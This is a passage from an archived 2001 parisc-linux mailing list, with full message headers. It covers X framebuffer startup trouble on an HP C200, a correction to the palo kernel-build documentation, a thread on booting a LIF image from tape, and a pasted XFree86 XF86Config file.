	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13391

Greetings

I'm having X startup problems with a C200 (Raven/U+)
and 20" Color monitor (1280x1024, A4331D). I'm using=20
the framebuffer driver ("fbdev"), but I never get passed the=20
"Shadow framebuffer" part. X crashes complaining
about: FBIOPUT_VSCREENINFO: invalid argument
AddScreen/ScreenInit failed for driver 0

I would have loved to share some logs, but this unit=20
is not on net...yet.=20

I've looked around and tried a couple of different=20
Xf86config files. Does anyone have a sample config=20
file to share with the above setup?=20

XFree86 version: 4.1.0.1
OS: Linux 2.4.9-pa79 parisc64 [ELF]=20

Regards,
Runar J=F8rgensen=20



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what is palo/lifimage for ?
Date: Mon, 17 Dec 2001 11:35:40 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <200112171835.LAA17687@puffin.external.hp.com>
References: <J.Hartmann@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620860 31776 80.91.229.3 (22 Nov 2014 01:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:40 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 11:40:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 198914850
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 11:40:42 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA17687;
	Mon, 17 Dec 2001 11:35:40 -0700
In-Reply-To: Message from Joerg Hartmann <J.Hartmann@reinarts.de> 
   of "Mon, 17 Dec 2001 11:21:42 +0100." <771295508933.20011217112142@reinarts.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13392

Joerg Hartmann wrote:
> The "Building the Kernel" webpage at
> http://www.parisc-linux.org/kernel/index.html says
> after "make palo" you have your new kernel in the file palo/lifimage.

This is wrong. Soory about that.
This page is really oriented towards building
kernels with a X-compiler and then booting them via network.

I'm fixing this page now. I'll set up a link to a "How-to Build
for Net Boot" (which has the old page) and leave that for someone
else to edit.


thanks,
grant



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LIF boot from tape?
Date: Mon, 17 Dec 2001 19:59:01 +0100 (CET)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112171953240.742-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620860 31782 80.91.229.3 (22 Nov 2014 01:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 11:59:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8D35482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 11:59:02 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16G2yb-00019f-00
	for parisc-linux@lists.parisc-linux.org; Mon, 17 Dec 2001 19:59:01 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16G2yb-0000Hl-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 19:59:01 +0100
X-X-Sender: apm@r6.petescaff.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13393

I see from PALO docs that one of the design goals was to support LIF boot
from tape but I haven't been able to find any details there or in the list
archives.

I am interested in creating bootable backup media as I have done for many
years using IgniteUX. Has anyone tried doing anything like this? Does
anyone have any pointers?

Cheers
PeteM




From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LIF boot from tape?
Date: Mon, 17 Dec 2001 20:03:35 +0100 (CET)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112172002370.742-100000@r6.petescaff.com>
References: <Pine.LNX.4.42.0112171953240.742-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620860 31785 80.91.229.3 (22 Nov 2014 01:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 12:03:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79ACA482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 12:03:36 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16G331-00019v-00
	for parisc-linux@lists.parisc-linux.org; Mon, 17 Dec 2001 20:03:35 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16G331-0000I3-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 20:03:35 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <Pine.LNX.4.42.0112171953240.742-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13394

Me thinks the answer is in the list archives after all. :-(

Picking the right search terms has dug up what I need after all!

PeteM

On Mon, 17 Dec 2001, Peter Mottram wrote:

> I see from PALO docs that one of the design goals was to support LIF boot
> from tape but I haven't been able to find any details there or in the list
> archives.
>
> I am interested in creating bootable backup media as I have done for many
> years using IgniteUX. Has anyone tried doing anything like this? Does
> anyone have any pointers?
>
> Cheers
> PeteM
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LIF boot from tape?
Date: Mon, 17 Dec 2001 20:28:08 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112172026520.742-100000@r6.petescaff.com>
References: <200112171910.LAA25235@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620861 31788 80.91.229.3 (22 Nov 2014 01:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 12:28:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18F90482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 12:28:17 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16G3Qm-0001Aw-00; Mon, 17 Dec 2001 20:28:08 +0100
Original-Received: from apm (helo=localhost)
	by r6.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16G3Qm-0000JD-00; Mon, 17 Dec 2001 20:28:08 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <200112171910.LAA25235@opus.allegro.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13395

I thought I had found something useful but have been unable to create a
tape with a LIF image on it that actually boots.

Still need help after all.

TIA
PeteM

On Mon, 17 Dec 2001, Stan Sieler wrote:

> Hi,
>
> > Me thinks the answer is in the list archives after all. :-(
>
> and what was the answer?
>
> > Picking the right search terms has dug up what I need after all!
>
> I must be using the wrong terms, too! :)
>
> thanks,
>
>





From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Mon, 17 Dec 2001 20:10:08 +0100 (CET)
Lines: 483
Approved: news@gmane.org
Message-ID: <1008616208.3c1e43102faa8@webmail.tiscalinet.be>
References: <200112171841.LAA17734@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620861 31795 80.91.229.3 (22 Nov 2014 01:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:41 +0000 (UTC)
Cc: joel.soete@freebel.net, Maneesh Singhal <maneesh@india.hp.com>,
	parisc-linux@lists.parisc-linux.org, rinux@iternet.it
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 12:31:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FF07482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 12:31:50 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16G39M-0003dt-00; Mon, 17 Dec 2001 20:10:08 +0100
In-Reply-To: <200112171841.LAA17734@puffin.external.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13396

Very sorry and disapointed by this webmail client (at least regarding atachement)
Here so this file as cut and past (it should certainly be re-formated but that
the best I can do right now):

===== XF86Config =====

# File generated by xf86config.

#
# Copyright (c) 1999 by The XFree86 Project, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
# THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# 
# Except as contained in this notice, the name of the XFree86 Project shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from the
# XFree86 Project.
#

# **********************************************************************
# Refer to the XF86Config(4/5) man page for details about the format of 
# this file.
# **********************************************************************

# **********************************************************************
# Module section -- this  section  is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
#
Section "Module"

# This loads the DBE extension module.

    Load        "dbe"  	# Double buffer extension

# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection

# This loads the Type1 and FreeType font modules
    Load        "type1"
    Load        "freetype"

# This loads the GLX module
#    Load       "glx"

EndSection

# **********************************************************************
# Files section.  This allows default font and rgb paths to be set
# **********************************************************************

Section "Files"

# The location of the RGB database.  Note, this is the name of the
# file minus the extension (like ".txt" or ".db").  There is normally
# no need to change the default.

    RgbPath	"/usr/X11R6/lib/X11/rgb"

# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
# 
# If you don't have a floating point coprocessor and emacs, Mosaic or other
# programs take long to start up, try moving the Type1 and Speedo directory
# to the end of this list (or comment them out).
# 

#    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"

# The module search path.  The default path is shown here.

#    ModulePath "/usr/X11R6/lib/modules"

EndSection

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

# Uncomment this to cause a core dump at the spot where a signal is 
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging

#    Option "NoTrapSignals"

# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
# This allows clients to receive this key event.

#    Option "DontZap"

# Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
# sequences.  This allows clients to receive these key events.

#    Option "Dont Zoom"

# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.

#    Option "DisableVidModeExtension"

# Uncomment this to enable the use of a non-local xvidtune client. 

#    Option "AllowNonLocalXvidtune"

# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings. 

#    Option "DisableModInDev"

# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).

#    Option "AllowNonLocalModInDev"

EndSection

# **********************************************************************
# Input devices
# **********************************************************************

# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************

Section "InputDevice"

    Identifier	"Keyboard1"
    Driver	"Keyboard"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.

#    Option     "Protocol"      "Xqueue"

    Option "AutoRepeat" "500 30"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option	"Xleds"      "1 2 3"

#    Option "LeftAlt"     "Meta"
#    Option "RightAlt"    "ModeShift"

# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#    Option "XkbModel"    "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#    Option "XkbModel"    "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
#    Option "XkbLayout"   "de"
# or:
#    Option "XkbLayout"   "de"
#    Option "XkbVariant"  "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"

# These are the default XKB settings for XFree86
#    Option "XkbRules"    "xfree86"
#    Option "XkbModel"    "pc101"
#    Option "XkbLayout"   "us"
#    Option "XkbVariant"  ""
#    Option "XkbOptions"  ""

#    Option "XkbDisable"

    Option "XkbRules"	"xfree86"
    Option "XkbModel"	"pc101"
    Option "XkbLayout"	"us"
#    Option "XkbVariant"	"nodeadkeys"

EndSection


# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************

Section "InputDevice"

# Identifier and driver

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "PS/2"
#    Option "Device"      "/dev/mouse"
    Option "Device"      "/dev/psaux"

# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.

#    Option "Protocol"	"Xqueue"

# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.

#    Option "BaudRate"	"9600"
#    Option "SampleRate"	"150"

# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)

#    Option "Emulate3Buttons"
#    Option "Emulate3Timeout"    "100"

# ChordMiddle is an option for some 3-button Logitech mice

#    Option "ChordMiddle"

EndSection


# **********************************************************************
# Other input device sections 
# this is optional and is required only if you
# are using extended input devices.  This is for example only.  Refer
# to the XF86Config man page for a description of the options.
# **********************************************************************
#
# Section "InputDevice" 
#    Identifier  "Mouse2"
#    Driver      "mouse"
#    Option      "Protocol"      "MouseMan"
#    Option      "Device"        "/dev/mouse2"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball"
#    Driver     "magellan"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball2"
#    Driver     "spaceorb"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen0"
#    Driver     "microtouch"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "1412"
#    Option     "MaxX"          "15184"
#    Option     "MinY"          "15372"
#    Option     "MaxY"          "1230"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen1"
#    Driver     "elo2300"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "231"
#    Option     "MaxX"          "3868"
#    Option     "MinY"          "3858"
#    Option     "MaxY"          "272"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonThreshold"       "17"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection

# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"

    Identifier  "lcd"

# HorizSync is in kHz unless units are specified.
# HorizSync may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    HorizSync   31.5 - 48.5

#    HorizSync	30-64         # multisync
#    HorizSync	31.5, 35.2    # multiple fixed sync frequencies
#    HorizSync	15-25, 30-50  # multiple ranges of sync frequencies

# VertRefresh is in Hz unless units are specified.
# VertRefresh may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    VertRefresh 50-100

EndSection


# **********************************************************************
# Graphics device section
# **********************************************************************

# Any number of graphics device sections may be present

# Standard VGA Device:

Section "Device"
    Identifier	"Standard VGA"
    VendorName	"Unknown"
    BoardName	"Unknown"

# The chipset line is optional in most cases.  It can be used to override
# the driver's chipset detection, and should not normally be specified.

#    Chipset	"generic"

# The Driver line must be present.  When using run-time loadable driver
# modules, this line instructs the server to load the specified driver
# module.  Even when not using loadable driver modules, this line
# indicates which driver should interpret the information in this section.

    Driver     "fbdev"
# The BusID line is used to specify which of possibly multiple devices
# this section is intended for.  When this line isn't present, a device
# section can only match up with the primary video device.  For PCI
# devices a line like the following could be used.  This line should not
# normally be included unless there is more than one video device
# intalled.

#    BusID      "PCI:0:10:0"

#    VideoRam	256

#    Clocks	25.2 28.3

EndSection

# Device configured by xf86config:

Section "Device"
    Identifier  "fbdev"
    Driver      "fbdev"
    #VideoRam    8192
    # Insert Clocks lines here if appropriate
EndSection


# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "fbdev"
    Monitor     "lcd"
    DefaultDepth 8

    Subsection "Display"
        Depth       8
        Modes       "1280x1024" #"800x600" "640x480" "1024x768" 
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "800x600" # "1024x768"
        ViewPort    0 0
    EndSubsection
EndSection

# **********************************************************************
# ServerLayout sections.
# **********************************************************************

# Any number of ServerLayout sections may be present.  Each describes
# the way multiple screens are organised.  A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option.  In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.

Section "ServerLayout"

# The Identifier line must be present
    Identifier  "Simple Layout"

# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens.  The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen.  In this example, screen 2 is located to the
# right of screen 1.

    Screen "Screen 1"

# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used.  Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".

    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"

EndSection


===== XF86Config =====

Quoting Grant Grundler <grundler@puffin.external.hp.com>:

> joel.soete@freebel.net wrote:
> > I am not a specialist of X but I attach my XF86Config file (just a
> one
> > previously put on this list but a bit changed for new XF86 release).
> 
> [grundler@puffin grundler]$ mhn -list
>  msg part  type/subtype              size description                   
>      
>  117       multipart/mixed           2368
>      1     text/plain                1786
>      2     application/octet-stream     0
> 
> Joel,
> 
> It didn't attach very well...thanks for the help though.
> 
> grant
> 
> 

Once again sorry for inconvenience and thanks for info Grant,
        Joel




-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LIF boot from tape?
Date: Mon, 17 Dec 2001 12:39:34 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <m16G3bq-000Os7C@bame.riverrock.org>
References: <Pine.LNX.4.42.0112172026520.742-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620861 31800 80.91.229.3 (22 Nov 2014 01:47:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:41 +0000 (UTC)
Cc: Stan Sieler <sieler@allegro.com>,
	parisc-linux@lists.parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 12:39:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35237482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 12:39:50 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA23777;
	Mon, 17 Dec 2001 12:39:36 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m16G3bq-000Os7C@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <peter@petescaff.com>; Mon, 17 Dec 2001 12:39:34 -0700 (MST) 
In-Reply-To: Your message of "Mon, 17 Dec 2001 20:28:08 +0100."
